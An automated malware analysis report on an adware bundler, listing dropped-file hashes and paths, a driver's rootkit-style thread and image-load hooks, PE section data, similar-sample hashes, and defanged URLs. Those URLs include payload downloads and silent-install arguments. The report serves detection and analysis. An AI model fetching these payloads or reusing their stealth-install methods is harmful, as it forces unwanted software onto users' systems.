0b6a75cfe2ab48cdc8f4879c0a58b42d	c:\Program Files\Common Files\ShopperPro\spbiu.exe
55f37283e7444289fa2e14e6ef9f5338	c:\Program Files\Common Files\ShopperPro\spbiw.sys
bf60a592babf135364b15661280ddfa7	c:\ProgramData\ShopperPro\ShopperPro.dll
eab4b4153e9e5757b8e24df93a5e709c	c:\ProgramData\ShopperPro\ShopperPro64.dll
3525b3c9cafced38e0ab2334da7fb449	c:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe
0f280884fb3ea901810e3687d520e66b	c:\ProgramData\YTAHelper\YTAHelper.dll
ea7bfd3722f6bdb16942dfdcebe2a7bd	c:\ProgramData\YTAHelper\YTAHelper64.dll
bf60a592babf135364b15661280ddfa7	c:\Users\All Users\ShopperPro\ShopperPro.dll
eab4b4153e9e5757b8e24df93a5e709c	c:\Users\All Users\ShopperPro\ShopperPro64.dll
3525b3c9cafced38e0ab2334da7fb449	c:\Users\All Users\WindowsMangerProtect\ProtectWindowsManager.exe
0f280884fb3ea901810e3687d520e66b	c:\Users\All Users\YTAHelper\YTAHelper.dll
ea7bfd3722f6bdb16942dfdcebe2a7bd	c:\Users\All Users\YTAHelper\YTAHelper64.dll
a9f1ecb4159ecaf56bbe555f81374f25	c:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe
f9092a47c8e3b49ae282a8b4e97d5599	c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installiwebar_13626\ins_postInst.exe
f9092a47c8e3b49ae282a8b4e97d5599	c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installsense_19212\ins_postInst.exe
0603633d10d3efa684f0373fbe9a9030	c:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\setup[2].exe
12f16f340ddbe2638546c2923dcf4c30	c:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\setup[1].exe_a
76c7932cb5c7ee1c90d6c66a30598a97	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\3EB4.tmp
2d10a980cc1539c4ca29387e82267b4d	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\FLVPlayerSetup.exe
660d87011f2ace9dbeacd26d884f6641	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_14837\ins_shopperpro.exe
f9092a47c8e3b49ae282a8b4e97d5599	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_5963\ins_postInst.exe
e1f48aa094bffe3887d0ffec22eaae1f	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_5963\ins_yta.exe
45960b40c1ecb75ed5549a80049879e1	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx
f593c94827e130cdb5c3215e0753c781	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll
496dd2c9f288bafc7e3c3e8b9e30c5cb	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe
74fb4a7f6e8fb16497b109264ebd87b5	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelper.exe
592989a426ae8bd543816906b4e404b6	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe
6354ff478451dc33755ffaea5163eabb	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe
30a7767ce7edd677b85dbf308476be5e	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll
3f60c99839e22b593223eb083e1ae454	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll
e3ca787c4ef41e3d3c212899dd361daf	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll
cba2facb405fc377eced6abe5e8fe605	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe
1b3f12f9710b8079619d87728f711cfb	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe
a082e5473b2a9a4d846ed7ddf637ac76	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll
bfe64f99674b43adc1806cd3183f4fbd	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe
7a9c58d8e215fcd47d371fe81d7aa1f6	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe
96257545e464d8e48a767dca7158ab18	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe
e09fa1c699e985e4cf8cfc6457dba9f1	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll
6289966fd5c7d68cc37d526f6a40cdfa	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll
214055e3a33c271e88d48a02f9b0f77f	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe
0a1d8c442bf10ba569bc89cf7dfc3855	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\tmp\STab_Down_6.0.6.8.exe
55bae15d523e4fabaa551023703d3fd9	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\tmp\XTab_v4.0.exe
3525b3c9cafced38e0ab2334da7fb449	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\tmp\wpm_v20.0.0.1714_0204.exe
518879abe3170dabd172dfffcd165598	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe
92c732231b7909edeff180174c6ef499	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe
3f4049d8bf040812a96680c5a6b377fd	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll
3a9ce8edf728d00a44376a75fe7b2aca	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7734.tmp\AccDownload.dll
f0438a894f3a7e01a4aae8d1b5dd0289	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7734.tmp\nsProcess.dll
8683e0490479293e0dd1faf2cf2e88d7	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz5967.tmp\AccDownload.dll
faa7f034b38e729a983965c04cc70fc1	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz5967.tmp\nsProcess.dll
31f8d1cffb02dff93646f81d8ce3dd75	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe
7a9c58d8e215fcd47d371fe81d7aa1f6	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\unelevate.exe
8b5d288e79af1c50f48b5da74e03bd7c	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe
4f9236be13917b89f7a03dea85f220fa	c:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe
4f9236be13917b89f7a03dea85f220fa	c:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\FLV Player\WebPlayer.exe
d8ba5f4e6a1594d0e07c886dac0f5f8c	c:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe
1087be1ed3e4cf8bac3dfb8bcf76facf	c:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe
45960b40c1ecb75ed5549a80049879e1	c:\Windows\SysWOW64\AniGIF.ocx
45960b40c1ecb75ed5549a80049879e1	c:\Windows\System32\AniGIF.ocx

HOSTS file anomalies

No changes have been detected.

Rootkit activity

Using the driver "\??\%Program Files%\Common Files\ShopperPro\spbiw.sys" the Application controls creation and closing of threads by installing the thread notifier.
Using the driver "\??\%Program Files%\Common Files\ShopperPro\spbiw.sys" the Application controls loading executable images into a memory by installing the Load image notifier.

Propagation

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 2.1.0.0
File Description: Powered by BetterInstaller
Comments:
Language: Language Neutral

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	28860	29184	4.36907	33e8227bf6edbf3997e3d0895494668e
.data	36864	140	512	0.818223	1b0351714f371c0ba066871d4e504b00
.rdata	40960	3196	3584	3.54441	88a268b1fac88e9fad865c68cf3abce2
.bss	45056	110088	0	0	d41d8cd98f00b204e9800998ecf8427e
.idata	155648	4932	5120	3.53424	11c816edc4ef9cc4aa5511f8a707232b
.ndata	163840	36864	1024	0	0f343b0931126a20f133d67c2b018a3b
.rsrc	200704	17800	17920	3.95009	38aa1bb4b24ba9d1eca880d3aa08b1cd

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 829
3fe02ef6a2ede61ce4dac40da7715dcd
42e27ac06103be5048016f0e6e8c6049
b94c654cb53b386124980e1ffb455e9e
cfe4fd52a52f8fd3b1ea8cfbb8b80626
f730160cf51d9436dafdc0d7e73723fb
36e6c3f7d113d7aed4817f36ce61fde6
4db13cd773dcf47449d0417dc9b8db50
27fdf1e4ef4fc5b8b1bf6cabf9bb5ae7
21083708cec7aa3a0eabaafc119e16c2
b30b8b246c16dd7e1e091f165540b19a
89c5cee2a23b0d1af63816d2a9d22c1f
7e067d4730d1830d0b187fc9d5748bbc
53534b0486f99ae01aa5ed30dcd95210
dc841067513ef402d1d714d12e951155
06d34931408d4fd38b73c6e538eb0490
6e809b46ea57ad55e2beddebc295bde4
caef0bc3be4f8e1d2e82ca4727804073
07e1212a8012b9ac8ffda358e9fe7da7
c1ba6151a7baeadb18be09422ab69eb7
a808003aa90214609f262dcb4f55d6bd
da555c0a32c5b395325c0e5c78a069ff
652fb5335f1022044865a85392435928
df414b45546e43f107e7c6169e8edb54
30cb87536d6a590f3bcde215269afddd
708e4629aaef6da1a8b9cb91a0cf521c

URLs

URL	IP
hxxp://installer.betterinstaller.com/network_adworkmedia_1/flvplayerkuiw/796c1daebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c1daebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4
hxxp://d4ekdi381yoqv.cloudfront.net/images/Tokyo/tokyoLightGrayStripesBG.jpg
hxxp://d2wy0yopxw6nne.cloudfront.net/images/Tokyo/tokyo_sprite_full.png
hxxp://installer.betterinstaller.com/installer/ajax
hxxp://d4ekdi381yoqv.cloudfront.net/sponsored/speedbit/eula-youtubeaccelerator.html
hxxp://d2wy0yopxw6nne.cloudfront.net/affiliates/filesfrog/eula.html
hxxp://d4ekdi381yoqv.cloudfront.net/sponsored/mystartsearch/eula-mystartsearch.html
hxxp://d4ekdi381yoqv.cloudfront.net//images/Tokyo/tokyo_default_logo.png
hxxp://www-google-analytics.l.google.com/ga.js
hxxp://mirror.frogdownload.com/software_files/flvplayer/1_0/FLVPlayerSetup.exe
hxxp://www-google-analytics.l.google.com/r/__utm.gif?utmwv=5.6.2&utms=1&utmn=363328282&utmhn=bi.bisrv.com&utmhid=1253900279&utmr=-&utmp=Installer_Init&utmht=1423540684596&utmac=UA-31676879-1&utmcc=__utma=1.576676510.1423540685.1423540685.1423540685.1;+__utmz=1.1423540685.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=199145764&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~
hxxp://d2q90bop9bptps.cloudfront.net/sponsored/sourceapp/eula-sourceapp.html
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=db3f86fab0fe4cd5e4a4746bffe5c0c1&tokyo_csrf2_timestamp=1423540682&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.5378999819481368
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=db3f86fab0fe4cd5e4a4746bffe5c0c1&tokyo_csrf2_timestamp=1423540682&slot_number=1&index_in_screen=1&index_in_session=1&0.2570353844349387
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=db3f86fab0fe4cd5e4a4746bffe5c0c1&tokyo_csrf2_timestamp=1423540682&slot_number=2&index_in_screen=1&index_in_session=2&display_height=170&0.4492349438105252
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=db3f86fab0fe4cd5e4a4746bffe5c0c1&tokyo_csrf2_timestamp=1423540682&slot_number=2&index_in_screen=1&index_in_session=2&0.9930856429677359
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=mystartsearch&tokyo_csrf2_key=db3f86fab0fe4cd5e4a4746bffe5c0c1&tokyo_csrf2_timestamp=1423540682&slot_number=3&index_in_screen=1&index_in_session=3&display_height=50&0.9661696023962157
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=mystartsearch&tokyo_csrf2_key=db3f86fab0fe4cd5e4a4746bffe5c0c1&tokyo_csrf2_timestamp=1423540682&slot_number=3&index_in_screen=1&index_in_session=3&0.5144070935991083
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=appshat_madness&tokyo_csrf2_key=db3f86fab0fe4cd5e4a4746bffe5c0c1&tokyo_csrf2_timestamp=1423540682&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.7124251602986185
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=appshat_madness&tokyo_csrf2_key=db3f86fab0fe4cd5e4a4746bffe5c0c1&tokyo_csrf2_timestamp=1423540682&slot_number=4&index_in_screen=1&index_in_session=4&0.5924351996598894
hxxp://installer.betterinstaller.com/downloader/network_adworkmedia_1/flvplayerkuiw/f5daecd74e316e46a59f4bd1d5099978?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=f5daecd74e316e46a59f4bd1d5099978&muid=96D78F35E7B7EA4FC32736D428DF43B4
hxxp://installer.betterinstaller.com/installer/ajax-bidl?offers[youtubeaccelerator][exec_args]=/S /MAG=smtyc &offers[youtubeaccelerator][offer_indexes][slot_number]=1&offers[youtubeaccelerator][offer_indexes][index_in_screen]=1&offers[youtubeaccelerator][offer_indexes][index_in_session]=1&offers[sourceapp_b2b][exec_args]=/np 1 /is smp1ua &offers[sourceapp_b2b][offer_indexes][slot_number]=2&offers[sourceapp_b2b][offer_indexes][index_in_screen]=1&offers[sourceapp_b2b][offer_indexes][index_in_session]=2&offers[mystartsearch][exec_args]=-silence -ptid=smt &offers[mystartsearch][offer_indexes][slot_number]=3&offers[mystartsearch][offer_indexes][index_in_screen]=1&offers[mystartsearch][offer_indexes][index_in_session]=3&offers[appshat_madness][exec_args]=/S /affid=appshatmadness /bi_sponsored_sub_process /run_bi&offers[appshat_madness][offer_indexes][slot_number]=4&offers[appshat_madness][offer_indexes][index_in_screen]=1&offers[appshat_madness][offer_indexes][index_in_session]=4&uid_orig=796c1daebeb52f4eabf469c6ed8ad1c0&uid=f5daecd74e316e46a59f4bd1d5099978&tokyo_csrf_key=9b63db90c65f953c4088a06eb9c87abd&tokyo_csrf_timestamp=1423540740&ffInstalled=false&dfz=false&affid=network_adworkmedia_1&sid=flvplayerkuiw&country=UA&hostBrowser=ff&unique_id=107e4dff93c730f0dfd7b0fba2aba7c7
hxxp://installer.betterinstaller.com/downloader/network_adworkmedia_1/flvplayerkuiw/49e8b48101569a41ad990f2a534d0e40?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=49e8b48101569a41ad990f2a534d0e40&muid=96D78F35E7B7EA4FC32736D428DF43B4
hxxp://installer.betterinstaller.com/installer/ajax-bidl?offers[youtubeaccelerator][exec_args]=/S /MAG=smtyc &offers[youtubeaccelerator][offer_indexes][slot_number]=1&offers[youtubeaccelerator][offer_indexes][index_in_screen]=1&offers[youtubeaccelerator][offer_indexes][index_in_session]=1&offers[sourceapp_b2b][exec_args]=/np 1 /is smp1ua &offers[sourceapp_b2b][offer_indexes][slot_number]=2&offers[sourceapp_b2b][offer_indexes][index_in_screen]=1&offers[sourceapp_b2b][offer_indexes][index_in_session]=2&offers[mystartsearch][exec_args]=-silence -ptid=smt &offers[mystartsearch][offer_indexes][slot_number]=3&offers[mystartsearch][offer_indexes][index_in_screen]=1&offers[mystartsearch][offer_indexes][index_in_session]=3&offers[appshat_madness][exec_args]=/S /affid=appshatmadness /bi_sponsored_sub_process &offers[appshat_madness][offer_indexes][slot_number]=4&offers[appshat_madness][offer_indexes][index_in_screen]=1&offers[appshat_madness][offer_indexes][index_in_session]=4&uid_orig=796c1daebeb52f4eabf469c6ed8ad1c0&uid=49e8b48101569a41ad990f2a534d0e40&tokyo_csrf_key=60ce6d0d3fa2c2bda9f59d257bac8a3d&tokyo_csrf_timestamp=1423540741&ffInstalled=false&dfz=false&affid=network_adworkmedia_1&sid=flvplayerkuiw&country=UA&hostBrowser=ff&unique_id=107e4dff93c730f0dfd7b0fba2aba7c7
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=1&index_in_screen=1&index_in_session=1&0.831503041393203
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=2&index_in_screen=1&index_in_session=2&0.786470066242579
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=mystartsearch&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=3&index_in_screen=1&index_in_session=3&0.049229260930564955
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=appshat_madness&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=4&index_in_screen=1&index_in_session=4&0.833791825113266
hxxp://d2otsfra4otprh.cloudfront.net/mag/ytaiesmt_smtyc_setup.exe	54.239.168.128
hxxp://a1049.d.akamai.net/sd?is=sm
hxxp://d4ekdi381yoqv.cloudfront.net/mirror/mystartsearch/default/setup.exe
hxxp://d2q90bop9bptps.cloudfront.net/t.ashx?e=t1D UTAmiecfAxEXghvnLLDIlck824Db1VMaOJFqXYpxTYwWxYG9WC5wjMCSU5F6kmHgElHm6Zad2YanHum4fHf1ws7XaD2yIg8T0WOKObqUfdGpw3nUgqY7qyMgvUCw94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjlm1PwhpieWJw==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12360.ashx?e=657cd9m3NQH uUohEa38nQ6hxqMAiseHDcqmwWeNhbb8ln8Iap23//2TEkHeJNDU/gWpMzttQ0rMO5V10xYyR0G9rwS1lKyqn14WGxPVpt5CrKRl6uWYlY4G r 3F6T7iJiWa2JIZk6M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23N8xrbOAlOf
hxxp://d4ekdi381yoqv.cloudfront.net/install.ashx?e=hWfaA75NtHG5d3h2ae4PEXFA8SMhVDHu5SYLgV1GP45f IV2qJnldbZkyCO60G3s5BETRwXuWt/ TphA8Cf5yZ4vDfViB/qhLnCMwJJTkXpOiRT1yE23FocxrkTwtdhdKPhEFY5XZBJPMXncQenCC3JF1S42 BeaImPFRYkh3ej9DDxdB8IX3/IOb5O/qAEzG73xbmM7JbkFsK7/Ya3qp3H4CQmKwMH4ZfsxqfyI5BBtx/ZVdNGi4auzgN391U6xN48Nx4Zw7zkxPTnaBmB2LZN041sf6R9PPE5RP1LOLdZ3vEKumRhmNpxnQKqBcIRK93Qlsgdg5HvI0hVeZ5GjYH8hyAaL5CajGlYHodqc6ZHntdHrE4rSVKsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRjbYe5xwzoVIINNqMzD9WUg==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12360.ashx?e=657cd9m3NQH uUohEa38nQ6hxqMAiseHDcqmwWeNhbb8ln8Iap23//2TEkHeJNDU/gWpMzttQ0rMO5V10xYyR0G9rwS1lKyqDyhRDL0PLalNTvXaKqGxaNCUHeR8YCF3uoYeE0rOcJFt02cS7rp/agTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cKA3e4YdyjH0=
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=1&index_in_screen=1&index_in_session=1&0.8068088476698185
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12360.ashx?e=M5cPy8d51cNxQPEjIVQx7nUjtFHSY868jA5kVqVgWdAgLxC0aXqYrYp5QRbd xf3SRrhYDEqCWxYjpMV9S7WkNUB7N1/dopR17e6nA3xYScE8SFHLIEPsFKgSL9 rF8HBfYoMzJwIv1nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYMiISMf8I5JK
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12360.ashx?e=hXeqmv1IpenVj9BNm3y5B/0NIveTUdQyW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh8j0N7bp/0QtRMFsl/n8ohguAvjGx9 eRBs IILilpWF0AZbgHkoXRfcbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfcBgxUqGiKxJDD1wMzW lCkDinyg6p6Cm3h8XZzZCMTnbkI zKqxnsA=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12360.ashx?e=hXeqmv1IpenVj9BNm3y5B/0NIveTUdQyW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh8j0N7bp/0QtSOm5eZ4cw1FBPrMwLm 2sRKYX3Ti/i3YOiW0 omKwO0WlbXC9DzBpI94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsAJSrNW7Zt5N3DunU6zYc038 q0WKoLP7XBgSL9c3oaEj16axw0ikNw==
hxxp://d4ekdi381yoqv.cloudfront.net/mirror/nerocrossrider/appshat_generic.exe
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12360.ashx?e=hXeqmv1IpenVj9BNm3y5B/0NIveTUdQyW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh8j0N7bp/0QtTEJfvBkaCCU9JDpDz//pXKTtJXFp5 Wc F1daz2AcKxastnHeKqEA5dKHj74dJ/dzd9Yh0r3ByIPeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLACUqzVu2beTdw7p1Os2HNN/PqtFiqCz 1wYEi/XN6GhI9emscNIpDc=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12360.ashx?e=hXeqmv1IpenVj9BNm3y5B/0NIveTUdQyW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh8j0N7bp/0QtRAkqBmtM5btymF904v4t2DqIs V7Ds6CRuZZIi5/tojmg8l4itKbh/HiBn688lkcr8toCm18jzwzsvB25MJtnS1urDxSq54gttr9SYvZpGaZcc7RKjUBXhxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9wGDFSoaIrEkMPXAzNb6UKQOKfKDqnoKbeHxdnNkIxOduQj7MqrGewA==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12360.ashx?e=hXeqmv1IpenVj9BNm3y5B/0NIveTUdQyW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh8j0N7bp/0QtSSe6wB6uwHTPUd/QfilrMBAltiGSLIu3jTI/BdPpi2K8DfJqMJzaCLHcPH8e2aI0 M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUsWoLIzPyE2jV/aOU2oLI3GdQD9X1g5j6i U5g BjsjVIjnnmMibQg6
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12360.ashx?e=hXeqmv1IpenVj9BNm3y5B/0NIveTUdQyW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh8j0N7bp/0QtQ3HFDGhcCtcymF904v4t2DkuWOvdnHdKvLMI0xCo70b7AhMjcBExiTBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLsta8tCHxlktOyH31wgiLg4DRbv3YXgwwsua2vDfsr7ziWhKQdCJuXcqwZwxAX4ff
hxxp://d1cfk8e4o0c4u2.cloudfront.net/ytai.exe
